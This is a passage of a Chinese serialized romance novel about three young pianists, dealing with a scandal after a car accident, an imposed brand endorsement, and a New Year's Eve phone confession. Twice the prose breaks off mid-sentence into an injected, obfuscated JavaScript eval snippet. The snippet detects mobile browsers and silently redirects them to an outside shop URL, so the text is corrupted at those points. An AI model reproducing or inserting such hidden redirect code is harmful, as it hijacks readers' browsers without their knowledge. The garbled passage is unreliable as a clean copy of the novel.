“外面的事有点麻烦,但是你不要担心,只要……”梁初灵斟酌着说,也是真心话,周序弹得实在太好,哪个国家都会珍惜这种级别的天才,何况他还是外国籍+性别男,这身份确实是层有形的保护伞,这件事的风暴眼看似猛烈,但大概率会过去,只是时间问题。 但周序打断了她,用没受伤的右手拿起一个苹果,语气故作轻松,“我没有担心,有人会处理。大不了就是不能演出几年,我反正也有一点弹腻了。” 梁初灵接过那个苹果,准备给他削皮,但是没找到削皮刀,桌上只有一把水果刀,这就太锋利了,梁初灵不敢用,于是放下水果刀也放下苹果。 放下的那一刻,心里又有点不适,觉得自己这样是否太自私,周序手都受伤了也没说什么,自己连削个苹果都不愿意—— 但她真的不愿意。 于是找了一个好理由:“苹果没什么好吃的,你别吃了。” 周序没意见,乖乖说好。这就又换梁初灵开始拧巴,她突然说了句对不起。 以为她在为车祸而说对不起,周序摇头,“你不用对不起,是我选择开车,是我选择开快,这是我的问题。” “可是如果不是因为我,你之前就不会直播,也不会被限制演出,心情就不会需要发泄。”梁初灵无法按下不表这些那些,她讨厌得了便宜还卖乖。 周序在她说完后,用眼神抓住她:“没关系啊,你在这里,来看我,这样很好。不要说对不起。” 说完他又去茶几上翻其他水果,不小心打翻了没盖好盖子的消毒酒精,梁初灵连忙拉住他的下意识动作——用伤手去接那个瓶子。却被酒精味道拽回了医院,也就想起来妈女士还在门口等她。 “我妈妈还在门口等我,她身体不太舒服,我要陪她早点回去。我准备走啦,你好好养伤。”她说的时候有点犹豫,毕竟来了也没坐多久。 周序用没受伤的右手,笨拙调整了一下吊着左臂的绷带,这个动作让他哼了一声,显得更加脆弱。 “好。”他灰蓝色的眼睛望向她,里面像是蒙了一层雾,“你知道,在这里,我其实没什么别的人能说说话。好像只有你还愿意来看我。” 然后像是下了很大决心,才问出那个问题,“你不会走开的,对吧?” 这问话带着孩子气。 梁初灵看着他苍白的脸和吊着的手,心里因看穿他意图而产生的为难,又被怜悯压了下去。他此刻确实像个闯祸后怕被抛弃的孩子。 梁初灵能感觉到周序在有意放大她的愧疚,试图绑住她,这感觉并不舒服,但眼下,她的确无法对这样一个落魄的“同伴”硬起心肠。 在这犹豫的时刻,一个让她难堪的念头将她击中—— 这场景何其熟悉。 当初她也是用近乎讹诈的方式把李寻留在身边。 那时候的李寻,看她是不是也像现在的她看周序一样,带着一种无可奈何的怜悯。 这刺穿了她一直不愿深想的某个角落,像是被当面拆穿了不堪的秘密。 如果李寻对她,自始至终也只是无可奈何,只是怜悯,只是因为责任和善良才留在她身边,那她那些连自己都尚未厘清的依赖和吸引,岂不是一场彻头彻尾的笑话? 她拿自己代入了周序,看着眼前这个少年,就看到了当初那个自己。 “我会来看你的。”她避开了直接回答会不会走开,只承诺会探望。 梁初灵既不敢直接去问李寻“你当初答应我是不是因为怜悯?”怕听到她无法承受的“是”。也无法当作什么都没发生,因为这个念头已经生根发芽。 所以她越发逃避和李寻的见面。 -- 再没过两天,外面的风声缓和。一些指向梁初灵的恶意揣测消失,网络上开始出现更多强调她在事件中亦是受害者、年纪尚轻已被家人严加管教的论调,有效引导了舆论,没有让她成为众矢之的。 梁初灵隐约察觉到这背后的操作不像周序会办到的。但她被困在家中,信息匮乏,无从探究这变化源自何处。 见她情绪持续低落,整个人恹恹的,在确认她真的吸取教训后,妈女士终于把手机还给了她,也允许她在保镖的陪同下出门透气。 梁初灵没什么特别想去的地方,回复了一些她人的关心消息,也跟林佳妮报了平安。 思绪纷乱中,她决定去金溪家,金溪之前跟着老师去巡演,最近刚回来。 金溪听她叙述完车祸经过和周序的现状,唏嘘不已,拉着她的手连说了几句人没事就好。 为了驱散好友眉宇间的阴霾,金溪神秘兮兮地说:“走!到了看惊喜的时候了。” 她拉着梁初灵穿过客厅,走进一间被特意布置过的暗房间,这是一间书房,靠墙有书柜,靠窗有书桌,而房间中央,一个硕大水族箱如同一个独立的梦幻世界。 金溪走到墙边,调亮箱内灯光。 仿佛将一小片深邃的海洋搬到了眼前。 数十只水母,像一群孤独的舞者,在水中漂浮收缩游弋,泛着半透明的光泽,触手随水流飘动,在特意调的灯光下,折射出梦幻光彩。 一闪灯花堕,却对琉璃火。 梁初灵站在水箱前,几乎忘记呼吸。那些缠绕在她心头的纷乱思绪,在这片静谧的蓝色和这些舞蹈面前,被暂时隔绝开来,心灵获得喘息。 “怎么样?我爸的宝贝。”金溪在一旁轻声说,语气里带着与有荣焉的欢喜,“他是专业养这个的。” “太美了。”梁初灵喃喃,目光追随着一只伞盖边缘带着一圈淡紫色光晕的水母。盯了很久,目光才从那只水母身上移开。 “我们四川有一种濒危的淡水水母,叫做桃花水母,我在都江堰见过一次,以后有机会的话我们一起去看。”金溪点了点她的肩膀,轻轻的。 “好呀好呀。”梁初灵点头,又转去另一侧,想看一只触手打结的水母,却瞥见旁边书架上的一份荣誉证书复印件,一眼扫过,看见了省级钢琴比赛一等奖几个字。梁初灵有些好奇,随口问了一句。 金溪将那份复印件往里面塞了塞,语气轻松如常:“没什么,我以前得的奖,不太重要,放在这儿落灰呢。” 梁初灵识趣地不再多问,每个人都有不想提及的往事。 金溪很快又兴奋起来,指着水族箱里:“选一只吧,送你当安慰品。” 梁初灵吓了一跳,连忙摆手:“不行不行绝对不行,我不能祸害这么漂亮的生命!” 金溪歪头想了想,提出一个折中方案:“那这样,它就养在我家,算是你认养的,你给它取个名字。这样你想看它了,随时都可以过来,它还由我爸照顾!” 梁初灵被这个提议逗笑,笑意中又夹杂触动。忽然想起了李寻,想起了栗子。 栗子一开始也是养在李寻家的她的猫,她取的名字。 如今,这只水母也是养在金溪家的她的水母,等着她赋予一个 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帖子最后,轻描淡写地补充了一句,据知情人士透露,李炽有儿子,叫李寻,他协调了一些学校与家庭之间的沟通。 梁初灵握着鼠标的手不再动,跟着又颤抖了一下,却不小心点了出去,自动刷新页面,顶到最上面的那条帖子变成:【求扒李寻】。 十一月底,四点太阳就落山,窗外灰蒙蒙一片,没有那了不起的蓝调时刻,却也有别样的玫瑰灰。只是风冻人,从树上一把一把的抢走叶子。 梁初灵突然非常非常想见李寻。 算起来,她们已经快半个月没见面。这半个月里,他依旧会发来消息,问她怎么样,栗子怎么样,偶尔分享一点生活碎片。 她拿到手机后也会回,语气正常,但两人都心知肚明,有什么东西横亘在中间,变得不一样。 她心里觉得酸涩。 她非常想见李寻。 拨打李寻的电话,却无人接听。 梁初灵不再犹豫,决定直接去找他。李寻的活动范围很固定,琴房、老师家、他自己家,这三个地方的路线是连着的,很好找。 很找找,然而却都扑了空。 秋深,呵气如烟云,很快就散。可她心头不安散了又聚。 她找不到他,在这个本该好好聊聊的秋天。 最后悻悻地从琴房里出来,却看到不远处有人举着相机在拍什么,顺着镜头方向望去,发现旁边一栋建筑的外墙上,挂着海报:【极境之光:北极生态与科考影像展】。 首先抓住梁初灵视线的是一张在幽蓝海水中发光的水母照片,图注写着北极霞水母。 鬼使神差地,她走了进去。 展览馆里很安静,展示着许多关于北极的一切:冰川、极光、北极熊,还有世界上最北的城市朗伊尔城的介绍,那里禁止死亡与出生。 梁初灵找到了那张水母的照片,正站在照片前出神,手机突然震动,是张姨。 “灵灵,你快回来,你妈妈又吐了,这次特别厉害,脸色白得吓人,说什么也不肯去医院,你快回来劝劝她!” 什么李寻,什么北极展览,“我马上回来!”梁初灵挂断电话就往家跑。 -- 李寻不是傻子,梁初灵在躲他,他感觉得到。 起初是疑惑。他复盘了上次那场不欢而散的争吵,结论是梁初灵大概还在气他的“冷静”和“大道理”。 他理解她非黑即白的少年意气,难免会觉得憋闷。 李寻自己最近也确实是忙得昏天暗地,柯蒂斯的报名每一环都需绷紧神经。他想着,再等等,等这最焦头烂额的阶段过去,就空出整块的时间,好好去找她谈一谈。有些话隔着屏幕说不清楚。 他也关注着周序事件的进展,看到舆论发酵愈演愈烈,担心这把火最终会无可避免地烧到梁初灵身上——毕竟她当时就在那辆车上。于是通过一些间接渠道,尝试缓和事态,希望能将周序事件的负面影响降到最低,从而保护梁初灵不被卷入漩涡。 今天一切终于告一段落。报名系统显示提交成功,所有参与帮忙的人员和教授都为他高兴,李寻邀请大家去附近餐厅吃饭。 走出大楼时,风吹在他因睡眠不足而感到不适的太阳穴上,竟觉得有些难得的松弛。 也许是绷紧的弦突然松开,人有些恍惚,走到餐厅坐下点完菜,他才发现手机没在身边。回想了一下,应该是离开琴房时忘了拿。 席间气氛融洽,大家聊着音乐,聊着未来的计划,暂时将疲惫搁置。 等到大家吃得差不多了,李寻起身,对众人歉意地笑笑:“我手机落琴房了,得回去拿一趟,你们先吃,我很快回来。” 拿到手机才发现有梁初灵的未接来电,心头被轻轻撞了一下,带着点意外的悸动。他立刻回拨过去,一边将手机贴在耳边,一边锁上门往外走,却无人接听。 回到餐厅,他结完账,再次站在深秋的街头时,他又拨了一次梁初灵的号码。结果依旧。 他停下脚步,微信问她:“你在哪里?怎么了?我刚才手机没在身边。” 发完他才注意到自己正站在一个展览的门口。海报上是深邃的蓝色,【极境之光:北极生态与科考影像展】,李寻看到关于朗伊尔城的介绍,那个位于北纬78度,没有出生与死亡的城市。 他知道这个地方,一个时间的流速仿佛都变得不同的地方,隔绝了生命最喧嚣的起点与终点,只剩下永恒的冰雪和极夜的星光。 如果能和她一起去看看就好了。 十一月底,北京深秋。风冷而急,卷起满地枯黄,抬头看天,天幕中伸出光秃秃的树的枝桠。 这是她们找不到彼此的那个秋天。 28. 《海顿主题变奏曲》 妈女士最近呕过两三次,医生看了也说不出所以然,最后推给围绝经期,开了些调理气血的药,嘱咐要保持心情舒畅。 “你心情不好要跟我说。”梁初灵对妈女士说。 她还是小孩心态,心情不好的时候、心情不好的人,怎么会直愣愣到处说一句“我心情不好”? 妈女士听着想笑:“我心情没有不好。就算有不好也是围绝经期让我心情不好,而不是心情不好所以才导致围绝经期,你个傻冒。” 梁初灵被骂也不反驳,拿着手机查围绝经期,也查更年期,看到那些症状,觉得自己头痛,也觉得妈女士辛苦。 她没办法体会,只能再说一句:“你不要心情不好,我不会再去做危险的事情了。”又想起梁父已经好几个月没回家,不知道会不会对妈女士造成影响,又说,“你也别生我爸的气,他本来就不是个好东西。” 妈女士这下是乐出声:“我真不生他的气,我只要能花到他的钱我生他什么气,他人不是好东西,但他的钱是好东西,你也多花点。” 梁初灵无语地点点头。 梁初灵陪着从医院回来,手上拎着一袋子药,车开到楼下,远远地,梁初灵就看见门口站着李寻。 他穿着羽绒服,没戴帽子,头发被吹得有些乱,双手插在口袋里,安安静静,也不知道等了多久。 车停稳,梁初灵扶着妈女士下车。 李寻看见她们,也看见梁初灵手上的药:“阿姨,您身体怎么样了?” 妈女士看看他,又看看身边瞬间有点不自在的女儿:“没什么大事。别在门口站着了,都进来吧,外面冷。” 三个人前后脚进了屋。暖气扑面,令人安心。 张姨正从厨房出来,看到李寻,也是笑眯眯的:“小寻来啦?正好,我炖了银耳汤,都喝一碗,暖暖身子。” 梁初灵向来胃口好,汤水实在不够垫肚子,张姨又给她单独煎了块牛排,切好了再端到她面前。 “就知道你不够,”张姨嗔怪地看她一眼。 妈女士喝了小半碗就说累了,起身回房休息。张姨收拾着厨房,把空间留给了两个年轻人。 梁初灵叉起其中最大的一块,放到了李寻面前:“你肯定也没吃饱。” 李寻看着这突兀一块肉,莫名其妙觉得好笑,笑个不停。 “笑什么笑?不吃还给我。”梁初灵莫名其妙。 “没什么,我吃我吃。” 两人吃完转移到客厅。 栗子蹭到梁初灵脚边,又围着李寻转了两圈,最后跳上沙发,梁初灵用手指指指点点栗子的鼻子嘴,让栗子过来扑着玩,在扑到之前又及时收手,戏耍小猫! 梁初灵决定不再逃避,看向李寻:“李寻。” “嗯?”李寻侧过头看她。 “我已经知道了,你为我和周序做了很多事。之前你来找我,我躲着你是我不对。我太武断了,我意气用事。” 她把“我和周序”放在了一起说。 李寻抚栗子的手停顿,不再看她,垂下眼睑。 他实在对周序生不出半分好感。冲动、不计后果、一次次将梁初灵置于险境还自以为是。 他再开口时声音依旧温和:“我不是为了他做事。梁初灵,我帮他周旋,是因为如果周序真的因此彻底倒下,身败名裂,那么作为事件另一个主角、并且与他绑定颇深的你,必将承受更长久的更恶意的舆论。” “我只是为了你。” 太过真诚,梁初灵没有提前预习,不知道怎么应对……只感觉脸颊有点发烫,准备好的说辞都冒不出来。 她像被剥开了外壳,只剩下一点点羞愧和大量的无措。 只好生硬地转移了话题:“你的报名提交了?” 李寻看着她通红的脸和躲闪的眼神,没有再穷追不舍:“对,提交了。” “那太好了!”梁初灵抓住这个话题,语气重新变得轻快,“等到3月我们一起过去,我也要重新现场试音评定等级。”说着说着自己不满起来,“哼!有什么好评定的,我这几年的实力她们明明一直有在关注,是迫不及待等我过去才对!” 她十三岁就考入了柯蒂斯,只是当时因为种种原因没去,学院为她保留位置,但时隔数年,需要重新现场考核确认水平。 说的时候扬起下巴,带着点小小的熟悉的骄傲。李寻很喜欢她露出这种表情。 她继续规划:“等到8月,我们就可以一起入学了!” 话语里对于和李寻一起入学有着毫不掩饰的期待和快乐,像一簇火焰,李寻觉得自己被取悦到。 那个关于未来的约定,想到她也在为此努力,看着她生动的眉眼,李寻带着不易察觉的引导问:“5月到8月,这中间的三个月空档。我们去北极吧?你弹过梅萨庞的《北极光》,你想去亲眼见见吗?” 梁初灵冷不丁听到这句,实在惊讶:“……啊?” 李寻想继续说服她:“也可以在路上庆祝你的生日。” 梁初灵大呼小叫:“你怎么知道我想去北极!” 她记得自己还没来得及跟他说啊? 她怎么知道她想去看水母想去北极想去朗伊尔城! 这下换李寻惊喜,一种天降机缘般的惊喜,但他没有表现出来,他拉近了一点距离,声音更温柔:“那我们一起去,好不好?” 梁初灵看着近在咫尺的带着笑意的眼睛,心脏咚咚直跳,下一秒就要从胸腔里蹦出来。 她忘了追问,忘了惊讶,点头点得头发跟着飘晃:“好!” -- 这之前的几个月,李炽每周的视频课都只有梁初灵一个人上。周序不上线上课,李寻则忙于申请暂时缺席。 如今李寻报名结束,但为了还人情,要帮教授代一些课,也接下了一些推脱不了的演出,依然无法上课。 一对一当然是更好的,梁初灵白拣便宜。 结果这次课前一天,周序发来消息:“医生说我的胳膊问题不大,线上课我和你一起上吧。已经和李炽说过了。你平时是是在哪里上课?我来找你。” 梁初灵是在家里上课,但她一点也不想让周序来自己家,她立刻回复:“我去学校琴房上。” 学校如今是个微妙的地方,但毕竟是顶尖学府,学生们骨子里都带着清高,网上各抒己见无需计较,现实生活中,倒真没什么人会当面给周序难堪。 不仅如此,对于那些当面给周序使绊子的人,大家心里爱看八卦,但嘴上却骂那些人上不得台面。各方各路都实在是很有趣。 梁初灵和周序一起在学校里面走,在路上看到了几张没处理干净的打印着“抵制劣迹艺人周序”字样的A4纸,梁初灵上手就去撕,撕下来后还得撕碎,再丢进垃圾桶。 周序一路上都没动手,好像这事跟他无关,但看着梁初灵面色不虞,他挺高兴,心情不错地开口:“谢谢你啊。全世界都针对我,只有你还愿意帮我撕掉这些东西。” 梁初灵心里想:不是啊大哥!你的粉丝也很疯狂啊!你的粉丝冲锋得很吓人啊!全世界没有针对你啊! 但嘴上只能说句没事。 视频课上,李炽没什么太意外,对于周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797791|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 序左手有些没处理好的音也没留情,要求一样严格。 周序全程嘻嘻哈哈没什么负担,但梁初灵心里惴惴不安。 那天论坛看完帖子后,梁初灵已经知道李炽早就对这些风波了如指掌。但李炽一直以来一句也没问,照常上课,点评,布置作业。 她没有觉得轻松,反而焦灼。她喜欢确定确切的一切,讨厌这样模糊不清的心情,可最近一个两个的,都让她模糊不清。 课上完后,李炽隔着屏幕,看着梁初灵的额头,忽然说:“你额头的疤总算掉干净了。” 周序也凑过来看她。 梁初灵摸了摸原本有个小伤口的地方,现在只剩下平滑的皮肤:“是好了欸。” “总算好了,我看着真难受。” 梁初灵:“……!” 伤的是我,你难受个什么劲儿! 她没敢直抒胸臆,但是也许是李寻给了她更多直面的勇气,她决定问一个问题。但这个问题只适合单独进行,于是梁初灵开口:“李炽老师,我有点事想单独跟你说。”又看向周序,”你去外面等我可以吗?” 周序没意见,去了隔壁琴房。 等周序离开,梁初灵再开口:“李炽老师,最近的新闻你肯定都知道。” “我知道我太冲动,也不够成熟,还自以为是。也许这些关于我的舆论,也给你造成了麻烦。” “但我希望你不要因此讨厌我,可以吗?我不会再犯这样的错了。” 说完梁初灵战战兢兢,她虽然多了一点勇气,但只够支撑她提问,不够她接受李炽但凡对她说一句“讨厌”——那么她一定会崩溃。 外界再多辱骂之于她,她都只会愤怒,她的自我价值并不建立在她不在意的人的评价上,她甚至想把那些人的嘴给撕了。 但如果李炽讨厌她……不可以的,梁初灵根本不敢深想。李炽的认可直接关系到她的自我认同。 其实这个问题可以不问,不问也还是可以这样搅缠下去,但梁初灵接受不了在李炽面前伪装。 李炽没理会这番自我检讨,对她勾了勾食指,梁初灵领悟到意思靠近摄像头,李炽隔着摄像头弹了她一个脑崩儿。 “有什么冲动不冲动的,当下觉得爽就去做,做了就是做了,闹出烂摊子再去想解决办法就行。” “解决不了也没事,人生的容错率是很高的。” “我只是你的钢琴老师,不是你的审判长。你的所作所为只要不影响到你的弹琴技术,那么都与我无关。” “放轻松,弹琴不能绷着。” 梁初灵觉得鼻子酸酸的,但她很能忍,她觉得没有听到想要的答案,又问一句:“那你没有讨厌我吧?” 李炽还想继续笑话她,但隔着屏幕也能看到梁初灵眼眶红了,只好将“笑话”变成“笑”,打了个响指,示意她集中精神听:“没有讨厌你,我很欣赏你。” 梁初灵迅速偷偷摸摸低下头假装找笔,其实是擦掉了眼泪,一边擦一边说:“我笔呢!我笔呢!我找不到了!” 李炽无视她的戏,自顾自宣布:“今年的课就到这里吧。提前给你放假,等过完年之后我回国了再继续。你一会儿出去了跟周序也同步一下。” “啊?为什么?” “我最近有点自己的事要忙,”李炽言简意赅,“和朋友一起创立了个乐团,近期事情比较多。” 梁初灵哦了一声表示理解。李炽做事向来有她的理由。 “行,那祝你乐团顺利。”梁初灵说。 “嗯,”李炽应了一声,“你也好好的。挂了。” 29. 《欢乐岛》 寒风将另一些潜流推到了表面。 周序背后的关系网没有坐视不管。风波在多方运作下,没有进一步升级到司法层面,但劣迹的阴影如附骨之疽,短时间内难以彻底清除。几场重要的的演出依旧与他无缘,商业价值也大打折扣。 这点转圜对于心高气傲又正值事业上升期的周序来说,远远不够。 他家里的人脉最终七拐八绕,找到了曾经在那场酒局上和梁初灵打过交道的叔叔,再由他牵线,联系上了梁父。 牵线的叔叔没多提周序最近的形象,把重点放在了带来的商业利益上——周序家愿意在梁父关心的那个文化地产项目上做出让步,并支付一笔相当可观的代言费用,条件是梁初灵与周序共同为此项目进行品牌代言。 具体形式包括:拍摄一系列宣传照和短片,共同出席项目启动仪式,并在项目内的艺术中心落成时,举行一场双钢琴音乐会。 几轮推杯换盏后,合作意向书被推到梁父手边。 彼时梁父的心思正被另一桩事占据,对女儿近期的风波及其中复杂的人际纠葛了解得并不深入,只知道两个孩子一起出了点车祸,小伤,无大碍。 眼下,既有实实在在的商业利益可图,又能借女儿的名气为自家项目造势,他几乎没怎么犹豫便点了头。 梁父近来确实觉得资金流有些紧,这送上门的合作与让利像一场及时雨。他没打算先问问女儿的意见,基于父亲和商人的双重权威,便应承了下来。 在他看来,不过是弹琴的儿女们一起工作,还能赚钱、提升形象,没什么不好。 周序在得知家里为他争取到这个机会,并且是再次与梁初灵绑定在一起时,心情复杂。 一方面,他厌恶这种需要借助家庭力量、甚至有点卖惨嫌疑的方式来维系曝光;另一方面,内心不愿承认的惶惶不安和对于与梁初灵更加亲密的愿望,又让他以默许、甚至是赞许的态度,推动了这件事。 他处在脆弱期,像一只受伤后更想圈占领地的兽,手段不免难为情。 于是梁初灵直接被梁父电话告知,没给她询问或反驳的余地,就匆匆挂了电话,那边还有更重要的会议等着他。 梁初灵觉得真是彻头彻尾的无语! 完全可以想象,如果她现在打电话回去大吵大闹,或者直接撂挑子不干,会引发怎样一场家庭风暴。 父亲不会容忍她的任性,而最终承受他怒气的,很可能还是身体刚刚好转的妈女士。 她想起医生说要保持心情舒畅的叮嘱,想起妈女士笑着说能花钱就会心情好。 行吧。 事已至此,既然无法拒绝,那就想办法让自己舒服点。 她主动联系了负责对接的助理,表示愿意配合这次代言拍摄。助理显然松了口气。然而梁初灵提出了一个意外的要求:“我要求改成三人代言,我要带一个人一起。” 消息传到周序那里,他刚拆掉石膏不久,感觉手部关节鼓胀,有一种想用力甩胳膊、把那股鼓胀感发泄出去的感觉。 但怕甩出代价,又只能忍着。 他几乎是立刻就想到了李寻。 于是使不完的劲又上来了,混合着嫉妒和不屑,冷笑着就给梁初灵去了电话: “什么意思?你以为是在养小白脸?还要带着李寻蹭代言蹭知名度?你问过品牌方同不同意吗?” 梁初灵一听这调调,火气也上来,毫不客气:“你给我好好说话!你再这样阴阳怪气,这合作我现在就拒绝,你看品牌方最后是怪你还是怪我!” 周序似乎被她噎了一下,但依旧硬邦邦:“我不同意带李寻!这代言是我们两个的事!” “谁说是李寻了?”梁初灵没好气。 周序愣了一下:“不是他?那还能是谁?”他脑子里过了一遍可能的人选,脱口而出,“你又看上谁了?” 梁初灵要被他的脑回路气笑,也品出了点他这话里过界的味道,让她更不舒服。 “金溪。”她只报出名字,懒得跟他多解释。 “金溪?”周序在记忆里搜索,毫无印象,“这又是谁?你什么时候又……” 梁初灵翻了个白眼,截断他的臆想:“我的女性朋友,也是钢琴家。你就说行不行吧,不行拉倒。” 周序被堵得没话说,他确实不认识什么金溪,但梁初灵态度坚决,而且三人行的艺术组合,还能冲淡之前CP的尴尬,更重要的是,他怕再反对,梁初灵真敢撂挑子。 “随你便吧。”周序最终闷闷扔下一句,算是默许。 挂断电话后,他看着窗外灰蒙蒙的天,那点因为合作而生出的隐秘掌控感,又被梁初灵不按常理出牌的举动打乱几分。 梁初灵这边,搞定周序后,立刻给金溪打电话。 金溪在电话那头听得一愣一愣的:“代言?我?和你们一起?” “对啊对啊,你来嘛。有钱赚还能露脸。” 金溪不知为何变得很低落:“我不行的。我形象不好,还是算了吧……” 梁初灵匪夷所思:“你形象还能有周序不好?他现在可是劣迹艺人,出门都快人人喊打了!” 金溪在电话那头被她这夸张的说法逗笑,但笑声很快消散:“不是那个意思,我是说,我长得不太行。”这话她说得轻。 梁初灵更费解:“哪里不行啊?哪里长得不行啊?我很喜欢你的长相啊。”她不给金溪再退缩的机会,“而这个项目规划了一个水下音乐厅,想象一下,在那种地方演奏,可以跟水母一起。我们正好可以借这个机会推动一下桃花水母保护的话题,多有意思!” “水下音乐厅?”金溪终于透出被击中的动摇。艺术与自然保护的结合,这个点戳中了她内心向往。 “好吧。”金溪终于松口,“我试试!不行你再换了我。” “别说这种话啊你!”梁初灵忿忿! 确定后,梁初灵长长舒了口气。三个人,总比两个人面面相觑、被外界过度解读来得强。 带上金溪,也让这桩身不由己的商业活动,多了点属于朋友间的轻松意味,还能让朋友赚到钱,美哉美哉!梁初灵在心里给自己竖大拇指! -- 项目推进极快,仿佛要赶什么节点。各方协调下,品牌启动仪式被定在了12月31日,意图借着跨年的热潮博取最大的关注度。 这就意味着,梁初灵整个年底都需要投入紧张的筹备,无法分身。 而12月31日,同样是李寻的生日。 梁初灵为此懊恼了一阵。 原本计划着至少要和他一起吃顿饭,然而事与愿违。 李寻也因为临时接到李炽的委托,需要在她回国前,亲自去上海替她还人情,无法留在北京。 若非这是李炽的人情,实在无法推脱,否则无论生日与否,单为跨年这个意义特殊的日子,他也必定会想方设法拒掉,回来陪着梁初灵。 启动仪式的彩排间隙,梁初灵躲在后台角落,给李寻打去了生日祝福电话。 “李寻,生日快乐!生日礼物等你回来了补给你。”她背景音里还夹杂着工作人员调度设备的嘈杂声。 “谢谢小天才,没关系的,我本来也不过生日。” 梁初灵又想起什么,语速快了起来:“我给你微信发了个二维码,你扫一下,绑定一下账号。” “什么二维码?”李寻有些疑惑。 “我家客厅摄像头的!你可以随时看栗子。” 妈女士履行诺言,怕栗子跑出去,在屋里屋外装了好几个天眼,客厅的这个让孩子们绑定,方便想栗子了随时可以打开看看。 这也成了梁初灵此刻能想到的分享生活的方式。 李寻在那头笑了声:“好,我待会儿就绑定。跨年的时候,我再给你打电话好不好?” “好!”梁初灵应道。 关于这个商业合作,梁初灵早几天就在微信上跟李寻说过了。尽量用轻松的口吻,解释了梁父的安排,也告知自己邀请了金溪加入,“三个人,没那么尴尬”。 李寻明白周序背后这样操作的意义——利用商业合作强行维持曝光,再次将梁初灵与自己捆绑,以此对冲之前的负面形象。 这种为了自身前程,全然不顾可能再次将梁初灵置于舆论漩涡的行为,让他对周序的观感更差,只觉得其人行事愈发没有底线,甚至可称无耻。 李寻没有在微信上多说什么,说多错多。只是在她抱怨排练辛苦时给她和工作人员点了热奶茶和点心。 启动仪式落下帷幕。 闪光灯、恭维话、程式化的微笑,梁初灵觉得身心俱疲,只想尽快逃离这热闹。 仪式结束,人群渐渐散去。周序换下那身过于正式的礼服,走到梁初灵身边,手臂虽然拆了石膏,动作仍小心。 他语气期待:“晚上一起跨年吗?” 梁初灵直接摇头:“不了,我和金溪约好了去爬山,看日出。” 那种被排除在外的感觉让周序不舒服:“爬山?看日出?我也去。” 一直安静站在旁边的金溪,敏锐察觉到梁初灵的抵触,她往前一步对周序说:“周序,我和初灵有些女孩子之间的话要说。你手臂刚恢复不久,爬山太辛苦了,还是早点回去休息比较好。” 话说得客气,理由也充分,将周序挡了回去。周序看着金溪,又看看明显没有帮他意思的梁初灵,没再坚持,只丢下一句“随你们”转身走了。 摆脱了周序,梁初灵和金溪商量具体去哪儿,最后定下去鬼笑石,那里视野开阔,是看日出的好地方。 两人正讨论着要带什么装备,梁初灵的手机响了。 她看了眼时间,晚上十一点五十八分。 “金溪,我接个电话。”她跟金溪说了一声,拿着手机走到外面。 接通电话,她没有像往常一样咋咋呼呼出声。 电话那头,李寻也没有说话。 两分钟变得无比漫长,又仿佛只是一瞬,所有的言语都显得多余,两个人一句话也没说。 听筒里,只剩下彼此的呼吸声缠绕在一起。背景是上海夜晚的车流声,和她这边场馆外遥远的喧嚣。 梁初灵看着高楼外屏上跳动的时间数字,在十一点五十九分五十秒的那一刻,掐着点:“李寻,生日快乐!我又是最后一个祝你生日快乐的人!” 她话音刚落,电话那头、以及她身后远处的城市角落,爆发出巨大的、混杂着尖叫欢呼和倒计时的声浪——“五、四、三、二、一!新年快乐!” 旧年结束,新年开始。 在那片鼎沸的宣告开始的声浪中,李寻温柔的声音穿透而来:“梁初灵,元旦快乐,我又是第一个祝你元旦快乐的人。” 结束代表着开始。 外面世界纷纷杂杂,充满了崭新的未知的希望与喧嚣。 梁初灵握着手机,站在空旷的世界里,心里却十分饱满,她摊开自己的另一只手掌,手心曾经燃烧过另一个少年的温度。 然后,她听到另一个少年的声音再次响起: “突然想起来我还没说过这句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802257|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话呢,得补给你。” “梁初灵,我喜欢你。” “任何时候,都不要怀疑这一点。” “我会给你最好的爱情,请等等我。” 这告白来得太郑重又太突然。 郑重到梁初灵觉得,不应该隔着电话,在这样一个嘈杂的背景音里完成。 突然到她一时不知该如何回应这沉甸甸的心意。 憋了半天,她对着话筒认真地说:“我在点头。” 电话那头,李寻抑制不住笑出声,笑声通过电流传过来,带着满满的愉悦。 又说了几句,李寻细心提醒:“去爬山的话,记得多带一件厚衣服,山顶风大温度低。” 梁初灵回到金溪身边时,脸上带着傻乎乎的笑意。金溪看了她一眼,了然一笑,没多问。 因为李寻的提醒,两人在去的路上,还真特意绕道,一人买了一件超长超厚羽绒服。 虽是深夜爬山,但跨年夜的鬼笑石格外热闹。许多年轻人和她们一样,选择用这种方式迎接新年的第一缕阳光。 山上人头攒动,喧闹声此起彼伏。 她们好不容易才找到一个相对僻静的角落坐下,裹紧新羽绒服,抵御着山巅凛冽寒风。 时间滑向凌晨四点半。周围的喧闹沉淀了一些,更多人是在沉默中期盼。 梁初灵还沉浸在李寻那句我喜欢你带来的悸动里,看着山下北京城星星点点的灯火,思绪飘得很远。 旁边一直安静的金溪开口,声音要散在风里:“初灵,谢谢你。” 梁初灵的思绪被拽回,有些茫然地扭头看她:“谢什么?” 金溪没有立刻回答,她望着远处模糊的城市轮廓,过了好一会儿,问了一个很奇怪的问题:“你觉得我这次拍的宣传照怎么样?有没有拖你们后腿?有没有给这个项目丢脸?” 梁初灵更疑惑:“拍得很好看啊,摄影师不也一直夸你表现力好吗?气质好,上镜。你怎么啦?怎么会这么想?” 金溪低下头没有回答。 